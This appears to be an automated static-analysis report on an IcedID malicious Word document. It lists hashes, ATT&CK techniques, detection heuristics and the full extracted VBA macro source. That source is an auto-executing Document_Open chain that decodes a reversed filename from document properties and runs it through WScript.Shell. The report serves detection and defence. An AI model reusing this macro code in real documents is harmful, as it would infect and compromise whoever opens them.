IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 d64d8ec40ad76fe4…

MALICIOUS

Office (OOXML)

34.1 KB Created: 2021-11-11 08:21:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-11-23
MD5: f3b2688ff7b0ef15baafe3838ff932d0 SHA-1: 3239bf7f2e5ed95e3a465fe38cc8969a4fe6d030 SHA-256: d64d8ec40ad76fe437ee60f891848deba7142c0ea19db35517eeec356bf6fa0c
270 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The `document_open` macro triggers the `main.karoline` subroutine, which retrieves a string from the document's keywords property, reverses it, and uses it as a filename. It then saves the document with this filename and executes it using `WScript.Shell.exec` with the command `c:\windows\explorer <filename>`, likely to download and execute a second-stage payload. The ClamAV detection name 'Doc.Downloader.IcedID' strongly suggests the IcedID family.

Heuristics 8

  • ClamAV: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Public Function s(youDowGirl)
Set youLovePow = CreateObject("wscript.shell")
youLovePow.exec "c:\windows\explorer " & youDowGirl
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Public Function s(youDowGirl)
Set youLovePow = CreateObject("wscript.shell")
youLovePow.exec "c:\windows\explorer " & youDowGirl
  • VBA reads reversed config from document properties high OLE_VBA_REVERSED_DOCPROP_CONFIG
    VBA applies StrReverse to values read from the document's custom/built-in properties. Storing reversed configuration (URLs, CLSIDs, env-var names, payload names) in document properties keeps indicators out of the macro source — an obfuscation technique used by the SVCReady loader.
    Matched line in script
    Function keywords()
keywords = StrReverse(ActiveDocument.BuiltInDocumentProperties("keywords").Value)
contents
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
Sub document_open()
main.karoline ("")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 948 bytes
SHA-256: 34f288be4b6725759f24dc04c86a8a415c269c5b2ebd8d01727a2ffe7c7c4fa9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Function contents()
Call ActiveDocument.Content.Find.Execute(FindText:="#a", ReplaceWith:="", Replace:=2)
End Function
Function keywords()
keywords = StrReverse(ActiveDocument.BuiltInDocumentProperties("keywords").Value)
contents
End Function
Public Function s(youDowGirl)
Set youLovePow = CreateObject("wscript.shell")
youLovePow.exec "c:\windows\explorer " & youDowGirl
End Function
Sub document_open()
main.karoline ("")
End Sub

Attribute VB_Name = "main"
Public Sub karoline(loveDowPow)
likeLoadYou = ThisDocument.keywords
With ActiveDocument
.SaveAs2 FileName:=likeLoadYou, FileFormat:=2
End With
ThisDocument.s likeLoadYou
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15360 bytes
SHA-256: f9a97eeb70d1972da942b9c82fec40a2228cec08d54d9583d0b47885e6b6cb39

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